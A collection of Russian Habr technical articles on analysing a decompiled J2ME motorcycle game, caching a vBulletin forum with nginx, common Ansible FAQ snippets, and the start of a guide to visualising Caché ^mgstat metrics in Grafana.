После этого я попробовал к заглушкам подключить оригинальный .jar с игрой. Появилось несолько ошибок. Оказывается, важно не только чтобы метод назывался как надо, а чтобы он ещё и был у правильного родительского класса. Из-за этого пришлось унаследовать Alert и Canvas от Displayable и разместить там абстрактные методы, которые я изначально объявил в Canvas. Ну и ладно, исправлений не так уж и много понадобилось.
Сейчас в [gradle проекте](https://gitlab.com/Kright/pc-j2me-emulator/-/tree/master/) такая структура:
* Модуль emulator с кодом, собственно, моего самописного эмулятора. Многих методов не хватает, я реализовал только тот минимум, который был необходим для работы игры.
* Модуль app-original, который в зависимостях содержит оригинальный .jar и позволяет его запускать
* Модуль app-from-sources с декомпилированными и приведёнными к более-менее приличному виду исходниками. Тоже запускается.
Приводим код к красивому виду
-----------------------------
После того, как декомпилированный код стало можно компилировать и запускать, разбираться в нём стало проще. Можно добавлять отладочный вывод или "выключать" отдельные методы, чтобы понять, что же они делают.
Думаю, теперь можно более подробно обсудить особенности реализации.
Fixed-point physics
-------------------
Для рассчётов используются обычные целые числа. Хранятся в виде обычных интов и считается, что младшие 16 бит — это дробная часть. Таким образом, получаются числа, которые принимают значения от `-32768.0` до `32767.999984` c шагом в `1.0 / 65536`.
Мне это решение показалось очень красивым — приличная фиксированная точность сочетается со вполне большим диапазоном используемых значений.
Сложение и вычитание таких чисел ничем не отличается от аналогичных операций с int.
Умножение: если перемножить просто int, то мы получим дробную часть, а целая "переполнится". Для умножения числа сначала преобразовывались в long. При перемножении получалось число на 64 бита с дробной частью из 32 бит. После побитовым сдвигом вправо на 16 можно вернуться обратно к дробным 16-ти битам и обрезать число обратно к int.
Деление: при простом делении дробная часть потеряется. Вместо этого опять нужно преобразование в long, сдвинуть делимое на 16 бит влево и поделить. В игре почему-то сделали иначе, сдвиг влево на 32 и после — вправо на 16.
В игре есть [реализация](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/MathF16.java) для `sin`, `cos` и `atan2`.
Сделано довольно просто — есть захардкоженный массив на 64 значения — угол от 0 до 90 градусов. При вычислении синуса или косинуса угол приводится к этому диапазону, потом вычисляется индекс — и по нему читается значение из массива. Получается значение с точностью до полутора градусов. Видимо, для игры этого достаточно.
Сенсорный ввод
--------------
Что забавно, эта игра уже в две тысячи четвёртом году его поддерживала. Если метод `Canvas.hasPointerEvents()` возвращает `true`, то в игре рисуется дополнительный кружочек для управления, в который можно тыкать. Режим сделан скорее для галочки — всё равно вводимые значения квантуются в "полный газ", "полный наклон", "полный тормоз" и сделать что-либо "наполовинку" не получится. Но, как бы то ни было, поддержка сенсорного ввода в игре есть.
Level format
------------
Выше я упоминал, что в среднем размер игрового уровня — 170 байт. Как так получилось? Очень просто — для хранения каждой точки используется всего пара байт.
Вернее, сделано чуть хитрее — сначала хранится всякая информация типа позиции старта/финиша т.п., а так же количество точек. Для хранения точек сделано два режима. Если первый байт 0xff, то дальше в качестве координат идёт пара int с абсолютными координатами, а вот если байт отличается, что этот байт — смещение dx относительно предыдущей точки, и за ним байт со смещением dy.
```
for (int i = 1; i < pointsCount; ++i) {
byte modeOrDx;
if ((modeOrDx = var1.readByte()) == -1) {
offsetY = 0;
offsetX = 0;
pointX = var1.readInt();
pointY = var1.readInt();
} else {
pointX = modeOrDx;
pointY = var1.readByte();
}
offsetX += pointX;
offsetY += pointY;
this.addPointSimple(offsetX, offsetY);
}
```
[Код целиком](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/GameLevel.java#L302)
Просто и эффективно.
Текстурные атласы
-----------------
В отличие от современных телефонов с GPU и full hd экранами, в старых телефончиках стояли весьма скромные дисплеи типа (`128*160` или `240*320`). Необходимости крутить изображения и рисовать 3д объекты как-то не возникало, и в api для картинок такой возможности даже и нет. Единственное, что было можно при рисовании картинки — повернуть её на 90-180-270 градусов и зеркально отразить.
Мне кажется, для того времени это не было проблемой — спрайт размером в десяток пикселей имеет не так уж и много видимых вариантов поворота.
Конкретно в этой игре для корпуса мотоцикла, частей тела и шлема мотоциклиста использовалось по 32 или по 16 спрайтов. Для спрайтов шлема потребовалась картинка размером аж 48\*48 пикселей и весом в 1091 байт.
Впрочем, надо отметить, что в то время уже существовало какое-то очень примитивное API для 3д графики с фиксированным 3д пайплайном и я даже играл во что-то 3д-шное. Текстуры были с огромными различимыми пикселями, а восьмиугольные колёса машинок воспринимались как что-то нормальное и высокодетализованное.
Как мне кажется — размеры дисплеев и возможности телефонов очень хорошо подходили для спрайтовой 2д графики и не тянули 3д.
Кеширование строк
-----------------
Во время игры в нижем правом углу экрана рисуется время. Что забавно — разработчики решили не создавать по новой строчке каждый кадр и [сделали лениво заполняемый кеш](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/GameCanvas.java#L134) на 100 строчек вида "23" и "64".
```
if (time10MsToStringCache[time10MsPart] == null) {
String zeroPadding;
if (time10MsPart >= 10) {
zeroPadding = "";
} else {
zeroPadding = "0";
}
time10MsToStringCache[time10MsPart] = zeroPadding + time10Ms % 100L;
}
```
Честно говоря, я не знаю, был ли смысл так заморачиваться ради двух цифр. Возможно, было бы проще рисовать цифры по-отдельности.
No-MVP архитектура
------------------
Класс [MenuManager](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/MenuManager.java) в виде хардкода содержит в себе все менюшки (они все создаются один раз при инициализации класса) и при необходимости рисует их. Если какому-то компоненту игры надо узнать, какой сейчас текущий уровень — он просто идёт к объекту-менюшке с выбором уровня и спрашивает, какая позиция активна.
Возможно, кто-нибудь скажет, что надо отделять модель от её представления и применять всякие паттерны для абстракции. Но с другой стороны: посмотрите как подобная задача может быть сделана в Android:
* Есть layout файл с расположением кнопок. Отдельный для каждой менюшки.
* Строчки типа названий кнопок выносятся в отдельный файл stings.txt.
* Есть Activity, которая пересоздаётся по каждому чиху.
* Есть LifecycleObserver, который даёт возможность биндить текстовое поле к Adapter так, чтобы при смерти Activity та могла уже умереть и не занимать память.
* Adapter преобразует данные из DataSource.
* Просто так передавать классы между потоками "не ок", поэтому ещё будем паковать их в Bundle и после получения из DataSource распаковывать обратно.
* В DataSouce данные закидываются из разных потоков или вообще синхронизуются с SQLite базой данных.
Вопрос: а это всё точно нужно, чтобы обработать перемещение пользователя по внутриигровому меню? Я могу ошибаться в деталях, но суть проблемы должна быть очевидна.
Несколько классов склеены в один
--------------------------------
Я долго гадал, для чего нужен класс [TimerOrMotoPartOrMenuElem](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/TimerOrMotoPartOrMenuElem.java) и назвал его так неспроста.
Не знаю, постарался ли так обфускатор или это сделали вручную, но этот класс одновременно используется для представления как минимум трёх различных сущностей:
* кусочка мотоцикла с координатами и прочим
* элемента меню с каким-то текстом
* таймера, который можно завести на "через секунду" или типа того
Соответсвенно, если класс используется как элемент меню, испрользуются одни поля в классе, если как элемент мотоцикла — другие.
Скорее всего, это сделано для того, чтобы уменьшить размер приложения и уместить его в 64 килобайта. Видимо, классы по-отдельности весили заметно больше, чем вот так "собранные" в один.
Долгая загрузка
---------------
Я обнаружил, что игра, которая собирается с нуля быстрее, чем за секунду, при этом долго грузится. "Хм, подозрительно" — подумал я и полез искать источник тормозов.
[Что же я нашёл](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/Micro.java#L110):
```
public void init() {
long timeToLoading = 3000L;
Thread.yield();
this.gameCanvas = new GameCanvas(this);
Display.getDisplay(this).setCurrent(this.gameCanvas);
this.gameCanvas.requestRepaint(1);
while (!this.gameCanvas.isShown()) {
this.goLoadingStep();
}
long deltaTimeMs;
while (timeToLoading > 0L) {
deltaTimeMs = this.goLoadingStep();
timeToLoading -= deltaTimeMs;
}
this.gameCanvas.requestRepaint(2);
for (timeToLoading = 3000L; timeToLoading > 0L; timeToLoading -= deltaTimeMs) {
deltaTimeMs = this.goLoadingStep();
}
while (gameLoadingStateStage < 10) {
this.goLoadingStep();
}
this.gameCanvas.requestRepaint(0);
this.isInited = true;
}
```
Игра вызывает обновление экрана и потом вызывает `goLoadingStep()` раз за разом на протяжении трёх секунд. Потом вызывает снова обновление экрана с переключением картинки на другую и снова три секунды вызывает `goLoadingStep()`. И после этого вызывает `goLoadingStep` до тех пор, пока они не завершатся.
Сам `goLoadingStep()` [сделан тоже довольно забавно](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/Micro.java#L59):
```
private long goLoadingStep() {
++gameLoadingStateStage;
this.gameCanvas.repaint();
long startTimeMillis = System.currentTimeMillis();
switch (gameLoadingStateStage) {
case 1:
this.levelLoader = new LevelLoader();
break;
case 2:
this.gamePhysics = new GamePhysics(this.levelLoader);
this.gameCanvas.init(this.gamePhysics);
break;
case 3:
this.menuManager = new MenuManager(this);
this.menuManager.initPart(1);
break;
.... ///аналогичный код для 5-8
case 9:
this.menuManager.initPart(7);
break;
case 10:
this.gameCanvas.setMenuManager(this.menuManager);
this.gameCanvas.setViewPosition(-50, 150);
this.setMode(1);
break;
default:
--gameLoadingStateStage;
try {
Thread.sleep(100L);
} catch (InterruptedException var3) {
}
}
return System.currentTimeMillis() - startTimeMillis;
}
```
А в [MenuManager.initPart()](https://gitlab.com/Kright/pc-j2me-emulator/-/blob/master/app-from-sources/src/main/java/MenuManager.java#L228) тоже содержится огромный `switch case` блок с шагами загрузки.
Честно говоря, я не знаю, почему сделано именно так. Можно было бы просто в отдельном потоке показывать лого и потом через три секунды переключить картинку на другую, а в основном потоке спокойно загружать всё необходимое.
История создания
----------------
[Оригинальная игра](https://ru.wikipedia.org/wiki/Gravity_Defied:_Trial_Racing) изначально появилась в 2004 году. Она была написана для конкурса Excitera Mobile Awards 2004 (EMA04) и выиграла в номинации best-in-show. В компании Codebrew Software было три шведских разработчика:
* Tors Björn Henrik Johansson — system/game logic/interface, testing, levels design
* Set Elis Norman — graphics/physics/mathematics/system/tools programming, levels design
* Per David Jacobsson — physics programming, game graphics, levels design
Кроме того, есть [порт этой игры под андроид](https://github.com/evgenyzinoviev/gravitydefied), сделаный нашими соотечественниками, но в нём просто используется декомпилированный код.
Поскольку к тому коду уже пять лет нет никаких претензий, я думаю, и моя попытка декомпилировать оригинальное приложение и разобраться в нём не принесёт никакого вреда. Сейчас игра представляет разве что исторический интерес и позволяет поближе взглянуть на эпоху маленьких смартфонов, которые смогли. | https://habr.com/ru/post/504682/ | null | ru | null |
# Наблюдения за vBulletin или попытки кэширования динамического контента
Есть в моем ведении несколько VPSов, на которых крутится… вообщем не моя зона ответственности, и потому крутится там то что крутится, в меру тормозит, в меру работает. И оказалось, что крутится на одном из них некий форум, и начал форум притормаживать. И захотелось разобраться…
##### Исхдные
* Форум под vBulletin 3.8.x
* Вынесен на поддомен forum.domain.com
* Nginx 1.1.13, php 5.3.x (fpm)
* Кроме форума на этом сервере ничего не крутится. (это важно).
* Mysql на отдельном сервере, коммуникация через TCP/IP.
##### Предыстория
Жил себе форум, не тужил, показывал по **xm top** нагрузку в районе 30-40 процентов. А затем наступил час «Х» и нагрузка подскочила до ровной полки в 90 процентов с пиками выше, что, вообщем-то, не есть гуд. Подозрение на DDOS не подтвердилось. По логам наблюдалась обычная рабочая нагрузка. Ну а перед тем как тупо наращивать ресурсы возникла идея разобраться в происходящем и попытаться закэшировать все что можно.
##### Расследование. Часть первая — чего хочет ~~женщина~~посетитель
Так как с идеологией и особенностями данной софтины я знаком не был, то начал изучение проблемы с анализа логов и траффика между посетителями и сервером. Первым делом я с удивлением обнаружил, что аттачи к сообщениям в форуме отдаются исключительно скриптом attachment.php, при этом сами файлы могут храниться в базе, могут на локальном диске, но отдача — только через скрипт. И никак иначе. То есть получаем по 8-10 лишних дерганий php-интерпретатора на ветвь сообщений с 8-10 фотографиями. И это для каждого посетителя. Так как на этом форуме для просмотра аттачей не требуется регистрация, то аттачи можно закэшировать, допустим, на пару дней. Примерно вот так:
```
location = /attachment.php {
expires max;
limit_req zone=lim_req_1s_zone burst=5;
fastcgi_pass forum__php_cluster;
include /etc/nginx/fastcgi_params;
include /etc/nginx/fastcgi_params_php-fpm;
fastcgi_cache forum_att__cache;
fastcgi_ignore_headers Cache-Control Expires Set-Cookie;
fastcgi_hide_header Set-Cookie;
fastcgi_hide_header Pragma;
fastcgi_cache_key "$request_method:$http_if_modified_since:$http_if_none_match:$host:$request_uri:";
fastcgi_cache_use_stale updating error timeout invalid_header http_500;
fastcgi_cache_lock on;
fastcgi_cache_lock_timeout 2m;
fastcgi_cache_valid 2d;
}
и где-ньть в http-секци объявим forum_att__cache:
fastcgi_cache_path /var/cache/nginx/att levels=1:2 keys_zone=forum_att__cache:4m max_size=2g inactive=2d;
```
Вторым «откровением» для меня было то, что на форуме есть архивы, и они не просто существуют, а практически половина запросов приходится именно на них. Внешний вид страниц также позволяет закэшировать их содержимое:
```
location /archive/ {
expires 10d;
limit_req zone=lim_req_1s_zone burst=2;
location ~ \.css$ {
expires max;
}
fastcgi_pass forum__php_cluster;
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
include /etc/nginx/fastcgi_params_php-fpm;
fastcgi_param SCRIPT_FILENAME $document_root/archive/index.php;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_cache forum_arc__cache;
fastcgi_hide_header Set-Cookie;
fastcgi_ignore_headers Cache-Control Expires Set-Cookie;
fastcgi_cache_key "$request_method:$http_if_modified_since:$http_if_none_match:$host:$request_uri:";
fastcgi_cache_use_stale updating error timeout invalid_header http_500;
fastcgi_cache_valid 2d;
}
и в http-секцию:
fastcgi_cache_path /var/cache/nginx/arc levels=1:2 keys_zone=forum_arc__cache:4m max_size=2g inactive=2d;
Заодно подстрахуемся от DDOS-атак:
limit_req_zone "$psUID" zone=lim_req_1s_zone:2m rate=1r/s;
```
О формировании ключа "$psUID" я поведаю далее.
##### Расследование. Часть вторая — авторизация в vBulletin
С точки зрения посетителя форума зашедший может быть либо зарегистрированным пользователем, либо гостем. Но совсем другая ситуация складывается, если мы пронаблюдаем ситуацию «пришел, походил, залогинился, походил, отлогинился, походил» с точки зрения появления и исчезновения кук в браузере. Итак, очищаем куки для домена и его поддоменов, открываем [HTTPfox](https://code.google.com/p/httpfox/) и наблюдаем что происходит:
```
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=cdme9rrptft67tbo97p4t1cua5; expires=Wed, 22-Feb-2012 15:04:12 GMT; path=/; domain=.domain.com
Set-Cookie: bblastvisit=1329059052; expires=Mon, 11-Feb-2013 15:04:12 GMT; path=/; domain=.domain.com
Set-Cookie: bblastactivity=0; expires=Mon, 11-Feb-2013 15:04:12 GMT; path=/; domain=.domain.com
Set-Cookie: uid=XCuiGU831OyC8VLqAx/QAg==; expires=Thu, 31-Dec-37 23:55:55 GMT; domain=.domain.com; path=/
```
С **uid** и **PHPSESSID** все понятно — это происки nginx'a и php-интерпретатора с установленной опцией session.auto\_start, а вот остальные — следилки за активностью на форуме. А вот главной сессионной куки vBulletin пока не наблюдается. Забегая вперед скажу, что vBulletin не использует стандартную php-вую сессию (точнее ПОЧТИ не использует), а ведет свою, идентификатор которой хранит в куке **bbsessionhash**. Итак, пользователь зашел, а сессии нет — то есть он аноним без сессии. При этом ссылки на форум далее могут иметь два вида (имеются ввиду все ссылки на странице, а не одна так, а другая эдак):
[forum.domain.com/forumdisplay.php?s=12b66e447be52ebc84ab16d3f39626fb&f=69](http://forum.domain.com/forumdisplay.php?s=12b66e447be52ebc84ab16d3f39626fb&f=69)
[forum.domain.com/forumdisplay.php?f=69](http://forum.domain.com/forumdisplay.php?f=69)
И если пройти по ссылке первого типа, то следующим ответом от форума придет кука сессии, а если по ссылке второго — нет. Если со вторым ответом кука от сессии не пришла то по форуму можно так и бродить безсессионным и неприкаянным пока не нарвешься на ссылку первого типа (закономерность их появления у меня выявить не получилось), или захочешь залогиниться. При успешном логине кука сессии придет по-любому. Если до логина гость был анонимом-с-сессией, то сессию ему заменят. Выглядит это так:
```
HTTP/1.1 200 OK
Set-Cookie: bbsessionhash=85745bc6110db5221e159087bf037f24; path=/; domain=.domain.com; HttpOnly
```
После логина сессия «стабильна» и чехарды с ссылками не происходит. Процедура логаута оригинальностью не отличается — удаляются все существующие форумные куки (даже те, которые не были проставлены) и пишется кука новой («анонимной») сессии:
```
HTTP/1.1 200 OK
Set-Cookie: bbsessionhash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bblastvisit=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bblastactivity=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbthread_lastview=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbreferrerid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbuserid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbpassword=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbthreadedmode=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbstyleid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bblanguageid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.domain.com
Set-Cookie: bbsessionhash=3d0bdc5dbe8dabae361deebe8f6048d2; path=/; domain=.domain.com; HttpOnly
```
То есть на выходе мы получаем анонима (гостя), но стопроцентно имеющего сессию.
В итоге с точки зрения форумного софта **И** HTTP-заголовков мы имеем три типа пользователей: гость без сессии, гость с сессией, залогиненный посетитель. Причем на уровне nginx'a отличать вторых от третьих крайне проблематично.
Теперь, поняв какие куки и как курсируют между посетителем и сервером, можно подойти к вопросу кэширования динамического контента. Как известно, функционал кэширования ответов fastcgi-бэкенда в nginx встроен в модуль [ngx\_http\_fastcgi\_module](http://nginx.org/ru/docs/http/ngx_http_fastcgi_module.html). Для этого надо прописать глобально в http-секции зону кэширования, а в нужном location'e — ключ. И если для условно-статического контента (изображения, архивы) ключем для кэширования мог считаться URI с незначительными дополнениями, то для кэширования динамики нужно учитывать еще и юзера. Казалось-бы правило типа
```
fastcgi_cache_key "$request_method:$http_if_modified_since:$http_if_none_match:$host:$request_uri:$cookie_bbsessionhash:";
```
могло бы удовлетворить и гостей и залогиненных пользователей, однако на практике посетители начали получать содержимое чужого кэша. Кэширование «истиной» динамики пришлось отключить. Надеюсь приговор не окончателен.
Однако данная информация не бесполезна. На ее основе мы можем генерить ключ для ограничения частоты запросов основываясь не только на IP адресе посетителя, но и на его статусе.
```
set $psUID "anon";
set $psUCL "anon";
if ($cookie_bbsessionhash) {
set $psUID "$cookie_bbsessionhash";
set $psUCL "user";
}
if ($psUCL = "anon") {
set $psUID "anon:$remote_addr";
}
```
Данный фрагмент конфига размещаем в секции server конфига nginx до описания всех location. В итоге мы получаем оригинальный ключ на пользователя имеющего сессию и ключ основанный на IP адресе для посетителей сессии не имеющих (например для поисковый краулеров).
##### Результаты
В результате предпринятых усилий общая нагрузка на виртуалку снизилась с полки на 90 процентов до пилы на 40 с всплесками до 80 процентов. | https://habr.com/ru/post/138057/ | null | ru | null |
# Ansible FAQ
Мы уже ознакомились с тем, [что нужно знать перед началом работы с Ansible](https://habr.com/ru/company/southbridge/blog/658201/).Теперь давайте разберем самые Часто Задаваемые Вопросы, или сокращенно FAQ. Они помогут вам глубже понять тонкости и принцип работы с Ansible. На ранних этапах можете использовать эту статью как некую шпаргалку.
Содержание* [Что такое Ansible](#1)
* [Для чего он используется](#2)
* [Есть ли Ansible на Windows](#3)
* [Ansible сложный](#4)
* [Какие у него преимущества](#5)
* [Ansible – язык программирования](#6)
* [Или каков синтаксис сценариев](#7)
* [Как работает Ansible А где этот список хостов](#8)
* [Как сохранить результат команды в переменную](#9)
* [Как проверить определена ли переменная](#10)
* [Где можно хранить переменные и какова их приоритетность](#11)
* [Как вывести содержимое исполненной команды](#12)
* [Как проверить существует ли файл](#13)
* [Как запускать задачи на разных ОС и различных версиях](#14)
* [Как добавить репозиторий](#15)
* [Как установить конкретной версию пакета используя pip3](#16)
* [Как склонировать в определенную папку только ветку master из github](#17)
* [Как создать системную учетную запись](#18)
* [Как запустить и поставить службу на автозагрузку](#19)
* [Как скопировать файл с заданными правами](#20)
* [Как скачать и разархивировать файл в директорию](#21)
* [Как запустить docker контейнер c healtcheck’ом в Ansible](#22)
* [Как запустить playbook с определенной задачи](#23)
* [Как запускать / пропускать несколько задач одной тематики](#24)
* [Сталкиваюсь с ошибками. Как детальнее узнать в чем проблема](#25)
* [Наверняка кто-то уже делал задачу которая мне необходима, где ее найти](#26)
* [Источники изучения Ansible](#27)
**Что такое Ansible?**
Это ПО с открытым исходным кодом, написанное на Python.
**Для чего он используется?**
Для автоматизированного выполнения задач поставки программного обеспечения, управления конфигурацией и развертывания приложений.
**Есть ли Ansible на Windows?**
Нет, но системы с поддержкой WSL (Windows Subsystem for Linux) позволяют запускать дистрибутивы Linux без накладных расходов на виртуальные машины.
**Ansible сложный?**
Нет, это простой и эффективный инструмент.
Такие сложные задачи как подготовка сервера, управление конфигурацией программных и аппаратных пакетов, развертывание приложений на разных системах, выполняются посредством написания сценариев на человекочитаемом языке YAML. А сами сценарии сродни файлам README.
**Какие у него преимущества?**
* Безагентная модель работы. Не требуется предустановка софта на удаленные серверы. Достаточно лишь иметь SSH соединение и python 2.6+.
* Встроенные модули. Позволяют решать широкий спектр задач, так же есть возможность написать свой модуль<https://habr.com/ru/company/southbridge/blog/646147/>
* Идемпотентность. Свойство, которое при многократном выполнении приводит к тому же результату, что и однократное выполнение.
* Распространенность (популярность). Продукт компании RedHat. Поддерживается большим числом вендоров.
**Ansible – язык программирования? Или каков синтаксис сценариев?**
* Все сценарии Ansible пишутся на YAML - это формат файла, напоминающий JSON, но намного проще для восприятия человеком.
* Строки можно не заключать в кавычки, даже если они содержат пробелы, но рекомендуется в случае использования двойных фигурных скобок, которые используются для подстановки значений переменных.
Пример: "{{ somevar }}"
* Булевы выражения. Ansible достаточно гибкая система в отношении значений «истина» и «ложь».
```
Истина в YAML (true, Тгuе, TRUE, yes, Yes, YES, on, On, ON y, Y)
Ложь в YAML (false, False, FALSE, no, No, NO, off, Off, OFF, n, N)
```
* Списки в YAML похожи на массивы в JSON и Ruby или списки в Python. И оформляются с помощью дефиса.
```
- ntp
- wget
- curl
```
* Табуляция или пробелы? Спецификация YAML обязует использовать только пробелы.
**Как работает Ansible?**
Он устанавливает параллельные SSH-соединения и выполняет задачи по списку на всех хостах
**А где этот список хостов?**
В так называемом инвентаре, файле hosts
Пример:
```
node1 ansible_host=172.16.10.11
node2 ansible_host=172.16.10.12
node3 ansible_host=172.16.10.13
[first-group]
node1 ansible_host=172.16.10.11
node2 ansible_host=172.16.10.12
[second-group]
node3 ansible_host=172.16.10.13
```
**Как сохранить результат команды в переменную?**
С помощью модуля register
```
- name: Run some command and register output as variable
shell: command
register: command_result
```
**Как проверить определена ли переменная?**
Для этого используется опция is defined (определена) или is not defined (не определена):
**Где можно хранить переменные и какова их приоритетность?**
Основные правила приоритета выглядят так: (От наиболее приоритетного к наименьшему)
0. extra-vars (Переменные передаваемые при вызове playbook’а через параметр -e "some\_var=my\_value"
1. role params (Переменные описанные в роли и включениях)
2. set\_facts / registered vars (Переменные описанные в playbook используя set\_facts и зарегистрированные переменные.)
3. include\_vars (Добавляется указанием файла с переменными и списка переменных)
4. task vars - block\_vars (Переменные только для задачи / блока)
5. role vars (Описываются в папке роли roles/role/vars/main.yml)
6. play vars\_files / play vars\_prompt (С указанием файла переменных / ручным вводом по запросу)
7. play vars (Указываются в playbook используя vars:)
8. host facts (Факты хоста)
9. host\_vars (playbook – inventory)
10. group\_vars (playbook – inventory - group\_vars/all)
11. role defaults (Описываются в папке роли roles/role/defaults/main.yml)
**Как вывести содержимое исполненной команды?**
С помощью модуля debug
```
- name: Show command output
debug:
var: command_result.stdout
```
**Как проверить существует ли файл?**
С помощью модуля stat
```
- name: Print a debug message
debug:
msg: "Path doesn't exist"
when: path_var.stat.exists is not defined
```
**Как запускать задачи на разных ОС и различных версиях?**
С помощью встроенных переменных ansible\_os\_family и ansible\_distribution\_major\_version
В следующем примере запустится задача task1 в системах на основе Debian версии 10 и task2 на основе RedHat версии 8.
```
- name: Run task1 if OS is Debian 10
…
when: ansible_os_family == "Debian" and ansible_distribution_major_version == "10"
- name: Run task2 if OS is Red Hat 8
…
when: ansible_os_family == "RedHat" and ansible_distribution_major_version == "8"
```
**Как добавить репозиторий?**
```
- name: "Add chrome deb repository"
apt_repository:
repo: deb http://dl.google.com/linux/chrome/deb/ stable main
state: present
```
Удалить – написать absent в state
**Как установить конкретной версию пакета используя pip3?**
```
- name: Install specific bottle version with pip3
pip:
name: bottle==0.12.19
executable: pip3
```
**Как склонировать в определенную папку только ветку master из github?**
```
- name: Example clone of a single branch
git:
repo: https://github.com/ansible/ansible-examples.git
dest: /src/ansible-examples
single_branch: yes
version: master
```
**Как создать системную учетную запись?**
```
- name: Create consul user
user:
name: consul
system: yes
comment: "Consul Agent"
```
**Как запустить и поставить службу на автозагрузку?**
```
- name: Start and Enable httpd
systemd:
name: httpd.service
state: started
enabled: yes
```
**Как скопировать файл с заданными правами?**
```
- name: Copy file with owner and permission
copy:
src: /mine/ntp.conf
dest: /etc/ntp.conf
owner: user
group: user
mode: '0644'
```
**Как скачать и разархивировать файл в директорию?**
```
- name: Download and Unarchive file to directory
unarchive:
src: https://example.com/example.zip
dest: /usr/local/bin
remote_src: yes
```
**Как запустить docker контейнер c healtcheck’ом в Ansible?**
```
- name: Start container with healthstatus
docker_container:
name: nginx-proxy
image: nginx:1.20
state: started
healthcheck:
# Check if nginx server is healthy by curl'ing the server.
# If this fails or timeouts, the healthcheck fails.
test: ["CMD", "curl", "--fail", "http://nginx.host.com"]
interval: 1m30s
timeout: 10s
retries: 3
start_period: 30s
```
**Как запустить playbook с определенной задачи?**
С помощью ключа --start-at-task
```
ansible-playbook playbook.yml --start-at-task="Configure Nginx"
```
**Как запускать / пропускать несколько задач одной тематики?**
Задать tags: в плейбуке и использовать ключ --tags при запуске
```
ansible-playbook playbook.yml --tags=nginx,mysql
```
Пропускать задачи аналогично, задав tags в плейбуке и использовав --skip-tags при запуске
```
ansible-playbook playbook.yml --skip-tags=mysql
```
**Сталкиваюсь с ошибками. Как детальнее узнать в чем проблема?**
Используя ключ -v при запуске. (Для более детального вывода использовать -vvvv)
```
ansible-playbook playbook.yml -v
```
**Наверняка кто-то уже делал задачу которая мне необходима, где ее найти?**
[https://galaxy.ansible.com](https://galaxy.ansible.com/). Вы можете ковырять, редактировать роли под ваши нужды.
**Источники изучения Ansible**
* [Наш вводный бесплатный курс по Ansible.](https://edu.slurm.io/courses/ansible-basics?utm_source=habr&utm_medium=article&utm_campaign=ansible&utm_content=article_05-04-2022&utm_term=goriunova)
* [Документация на английском](https://docs.ansible.com/ansible/latest/index.html).
* [Книга «Запускаем Ansible» Мозер Рене, Хоштейн Лорин на русском](https://www.ozon.ru/product/zapuskaem-ansible-145346326/?sh=3z-y3JBdCA).
* Свободные источники: Google и YouTube.
* [Наш курс «Ansible: Infrastructure as Code»](https://slurm.club/3DEVXl4) без сухой теории, с реальной практикой, мемами и чатом для участников. Вас ждут 8 тем, 38 уроков, 10 часов видеолекций, 78 тестовых и 46 практических заданий, 36 часов стендов для выполнения практик. | https://habr.com/ru/post/659217/ | null | ru | null |
# GUI на Grafana для mgstat — утилиты мониторинга системы на InterSystems Caché, Ensemble или HealthShare
Добрый день! Данная статья является продолжением статьи "[Дружим Prometheus с Caché](https://habrahabr.ru/company/intersystems/blog/318940/)". Мы рассмотрим вариант визуализации результатов работы утилиты [^mgstat](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCM_mgstat). Эта утилита предоставляет статистику производительности Caché, а именно, число вызовов глобалов и рутин, локальное и по [ECP](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GDDM), длину очереди демона записи, число блоков, записанных на диск и считанных с диска, объем ECP-трафика и прочее. Запускаться ^mgstat может как отдельно (интерактивно или [джобом](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=RCOS_cjob)), так и при работе другой утилиты оценки производительности [^pButtons](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GCM_pbuttons).
Изложение материала хотелось бы разбить на две части: в первой графически показать непосредственно статистику, собираемую ^mgstat, а во второй — рассмотреть, как именно эта статистика собирается. Если коротко, то используются [$zu-функции](http://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=GORIENT_cos_functions_zu). Однако к большинству собираемых параметров есть и объектный интерфейс через классы пакета [SYS.Stats](http://docs.intersystems.com/latest/csp/documatic/%25CSP.Documatic.cls?PAGE=CLASS&LIBRARY=%25SYS&CLASSNAME=SYS.Stats&PACKAGE=1). И далеко не все параметры, которые можно собрать, показываются в ^mgstat. В дальнейшем мы попробуем все их отобразить на [Grafana](https://grafana.com/)-дашбоардах. В этот же раз покажем только то, что нам предоставляет сам ^mgstat. Кроме того, попробуем на вкус Docker-контейнеры.
### Ставим Docker
В [первой части](https://habrahabr.ru/company/intersystems/blog/318940/) рассказывается, как инсталлировать Prometheus и Grafana из тарболлов. Покажем, как можно запустить тот же мониторинговый сервер, используя возможности [Docker](https://docs.docker.com/). Демонстрационная хост-машина:
> # **uname -r**
